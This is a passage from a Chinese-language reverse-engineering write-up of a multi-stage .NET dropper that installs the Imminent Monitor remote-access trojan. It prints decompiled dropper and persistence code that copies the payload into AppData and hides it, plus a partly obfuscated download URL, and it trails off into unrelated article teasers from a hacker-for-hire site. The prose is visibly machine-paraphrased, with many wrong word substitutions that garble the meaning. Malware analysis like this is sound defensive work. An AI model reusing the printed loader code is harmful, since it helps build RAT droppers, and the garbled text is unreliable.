上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。
之一个if句子在程序会集调用了一个名为okapise的函数,它供给了当前程序的方位、两个称号和一个设置为false的布尔值。据此判别,它或许会履行一个具有给定称号的文件。
第二个if句子会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因而二进制文件或许会在一个进程中自我注入。
第三个if句子会将一个名为mb的函数与四个字符串一同调用,由于在MessageBox(音讯框)中运用了术语body,title,warning和messageonce,mb或许是MessageBox(音讯框)的简写。
第四个if句子调用一个名为d的函数,该函数运用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,依据这个判别,该函数很或许是一个下载文件。 dl内容的一部分是通过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0
第五个if句子会调用一个名为zalepen的函数,该函数运用内容绑定和一个字符串。由于没有可用于检测的内容,因而很难确认这个函数到底是做什么的。别的,该称号也没有供给什么实质性信息。假如字符串中包括单词bind,则意味着歹意软件或许会将自己绑定到某个运转函数上。不过,这仅仅猜想,库中的函数很或许供给有更多的信息。
尽管靠估量和猜想,会得出一些有价值的信息,但必定都不确认。能够必定的是,有必要对这些内容进行检测,不过这些内容在履行之前既没有被写入磁盘,并且还在履行之前现已加密了。为了处理这个问题,能够随时修正代码并中止履行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
[...]
}
[...]
小结
加载程序——第1阶段相似,对这个阶段做个小结也十分有必要,由于存储在库中的函数在dropper的第二阶段中被调用。尽管参数坐落第二阶段,而代码则在dropper的第三阶段履行:
1.依据运转环境的不同,程序的履行要么中止,要么持续;
2.将设置符号,这些符号稍后将界说在库中所履行的函数;
3.这两个参数都加载到内存中;
4.依据符号的不同,库中的给定办法会运用界说的参数履行;
加载程序——第3阶段(第1部分)
依据dnSpy,程序assemblyPart1.exe开端被命名为svchost.exe(版别0.0.0.0),其进口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件运用了很长且没有意义的字符串进行含糊化处理,具体内容如下所示。
public static void Method0()
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在阅读文件时,能够看到一个咱们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包括一个歹意运用的音讯,能够在下面找到。
// Imminent-Monitor-Client-Watermark
//
// Types:
//
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在拜访Imminent Method网站时,能够清楚地了解到这种有效载荷的意图便是施行远程管理。在履行这个准备好的二进制文件后,能够在Imminent Method软件的控制面板中拜访受害者的设备,这是RAT的中心功用。
加载程序——第3阶段(第2部分)
用dnSpy翻开assemblyPart2.dll后,能够很明显看到,它是一个动态链接库(原始称号为graznataguz.dll,版别1.1.0.0),其间含有两个类。首要,能够观察到空的内部类模块。此外,还有一个名为RunLib的类,它的称号与第2阶段中挑选的on相同。运用if句子和库中的函数,能够开端依据实践环境匹配所做的假定。
okapise
在之一个if句子中,函数okapise与四个参数一同被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
Directory.CreateDirectory(Environment.GetFolderPath(26) + "" + value);
string text = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"",
value,
"",
filename
});
string text2 = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"",
value,
"",
RunLib.RndString(5),
".xml"
});
string name = WindowsIdentity.GetCurrent().Name;
string text3 = Resources.TE;
if (!(location == text))
{
File.Copy(location, text, true);
}
bool flag = (File.GetAttributes(location) & 2) == 2;
if (hide && !flag)
{
File.SetAttributes(text, File.GetAttributes(text) | 2);
[1] [2] [3] [4] 黑客接单网
事例描述 早上接到 IDC 的电话,说咱们的一个网段 IP 不断的向外发包,应该是被进犯了,详细哪个 IP不知道,让咱们检查一下。 按理剖析及解决办法 首要咱们要先确定是哪台机器的网卡在向外发包,还...
这是一款仍在活跃研制中的软件,假如你想要现在测验它现有缝隙,需求确保自己添加了Express结构。 DVNA简介 首要,期望咱们多多支撑UX/UI,协助咱们修正bug和优化文档。 DVNA(Damn...
前些年Lawrence Alexander颁发了一篇使用Google Analytics查找网页之间的联络联络的文章,客岁,我也宣告了一个关于若何使用Python自动开掘信息,然后将其可视化的帖子,不...
HTML5 安全问题解析 标签: html html5 web安全 本文参阅: w3school:html5相关基础知识(w3school.com.cn)...
还在用wget和curl?试试HTTPie吧 :) HTTPie (读作aych-tee-tee-pie)是指令行方法的HTTP客户端。可经过简略的http指令,可合作语法发送恣意HTTP恳求数据,...
最近,我发现自己需求对完好内存转储进行一些查询。通过一段时间的搜索,我发现了Volatility-Labs的这篇文章,依据其间的辅导办法,我能够很好的来评价内存转储。当然,你或许会有更好、更深度的内存...